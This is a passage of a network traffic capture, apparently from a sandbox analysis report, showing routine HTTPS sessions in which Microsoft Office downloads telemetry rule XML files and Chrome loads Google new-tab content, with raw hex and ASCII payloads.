2024-11-07 16:25:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 293aa67e-d01e-007a-3a8e-30f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162522Z-17df447cdb5l865xhC1DFW9n7g00000001q0000000000bcm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49768	216.58.206.68	443	2248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:22 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 16:25:23 UTC	1042	IN	HTTP/1.1 200 OK Version: 691321546 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 07 Nov 2024 16:25:23 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-07 16:25:23 UTC	336	IN	Data Raw: 32 36 30 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 260c)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-07 16:25:23 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-07 16:25:23 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-07 16:25:23 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-07 16:25:23 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-07 16:25:23 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 32 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700302,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-07 16:25:23 UTC	1378	IN	Data Raw: 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 Data Ascii: 1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003
2024-11-07 16:25:23 UTC	1144	IN	Data Raw: 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c Data Ascii: a\u003da.i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\
2024-11-07 16:25:23 UTC	386	IN	Data Raw: 31 37 62 0d 0a 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 Data Ascii: 17bvar c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));r
2024-11-07 16:25:23 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 74 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 6f 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 74 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a Data Ascii: 8000"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:te.hasOwnProperty(d)?a.setAttribute(te[d],c):_.oe(d,\"aria-\")\|\|_.oe(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};te\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:22 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: d07841a0-401e-0064-490f-2d54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162522Z-16547b76f7f9bs6dhC1DFWt3rg00000008a000000000kv71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:22 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: a6b44ea6-e01e-001f-1d33-2f1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162523Z-15869dbbcc6tjwwhhC1DFWn22800000001sg000000003365 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:22 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162522Z-16547b76f7fxsvjdhC1DFWprrs00000008c0000000004e3p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49769	216.58.206.68	443	2248	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:22 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 16:25:23 UTC	957	IN	HTTP/1.1 200 OK Version: 691321546 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 07 Nov 2024 16:25:23 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-07 16:25:23 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-07 16:25:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
